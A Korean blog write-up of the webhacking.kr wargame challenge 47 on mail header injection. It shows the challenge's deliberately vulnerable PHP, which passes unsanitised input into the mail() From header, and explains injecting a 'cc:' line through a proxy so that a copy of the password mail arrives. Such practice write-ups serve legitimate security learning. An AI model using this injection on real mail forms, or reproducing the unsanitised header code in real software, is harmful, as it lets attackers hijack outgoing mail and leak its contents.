DoR@Hee의 끄적끄적

webhacking.kr 47번 본문

WarGame/WebHacking.kr

webhacking.kr 47번

DoR@Hee 2019. 2. 26. 18:21



문제 첫화면 




아무거나 입력 했을 때 alert에 의해서 그냥 done만 출력된다. 








힌트를 보도록 하자.





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<html>
<head>
<title>Challenge 47</title>
</head>
<body>
Mail Header injection
<pre>
<form method=post action=index.php>
<font size=2>Mail</font> : <input type=text name=email size=50 style=border:0 maxlength=50><input type=submit>
</form>
 
<?
 
if($_POST[email])
{
 
$pass="????";
 
$header="From: $_POST[email]\r\n";
 
mail("admin@webhacking.kr","readme","password is $pass",$header);
 
 
echo("<script>alert('Done');</script><meta http-equiv=refresh content=1>");
}
?>
 
</pre>
 
<!-- index.phps -->
 
</body>
</html>
cs






mail함수를 이용해서 푸는 문제이며,


https://webisfree.com/2016-05-31/[php]-mail()-%ED%95%A8%EC%88%98-%EC%9D%B4%EB%A9%94%EC%9D%BC-%EB%B0%9C%EC%86%A1-%ED%95%A8%EC%88%98-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0


이 분이 자세히 설명해 주신다.


mail함수는 mail(수신자, 제목, 내용, 옵션)으로 정의되며


1. 수신자 :admin@webhacking.kr

2. 제목 : readme

3. 내용 : password is $pass

4. 옵션 :

  i. 보내는 사람:$header

이렇게 들어가는걸 확인 할 수있고.


옵션에 따라 참조인을 설정할 수 있다.



! 참조인 설정하기


cc: 보이는 참조인 ex)cc:aaaaa@aa\r\n

bcc: 수신자는 모르는 참조인 ex)bcc: aaaa@aa\r\n



즉 메일로 보내지는 $herder을 조작하자.

프록시 툴을 이용해서 위와 같이 cc: aa@aa 참조인을 설정했다


tip)bcc는 안먹힌다






성공


'WarGame > WebHacking.kr' 카테고리의 다른 글

webhacking.kr 49번  (0) 2019.02.27
webhacking.kr 48번  (0) 2019.02.27
webhacking.kr 46번  (0) 2019.02.26
webhacking.kr 45번  (0) 2019.02.26
webhacking.kr 44번  (0) 2019.02.25
Comments